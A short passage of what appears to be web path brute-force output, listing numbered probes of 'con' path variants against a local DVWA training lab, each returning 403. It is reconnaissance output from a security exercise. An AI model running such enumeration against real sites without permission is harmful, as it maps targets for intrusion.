163	http://127.0.0.1/DVWA/external/con.jsp -> 403
164	http://127.0.0.1/DVWA/external/con.html -> 403
165	http://127.0.0.1/DVWA/external/con.js -> 403

166	http://127.0.0.1/DVWA/external/con -> 403
167	http://127.0.0.1/DVWA/external/con/ -> 403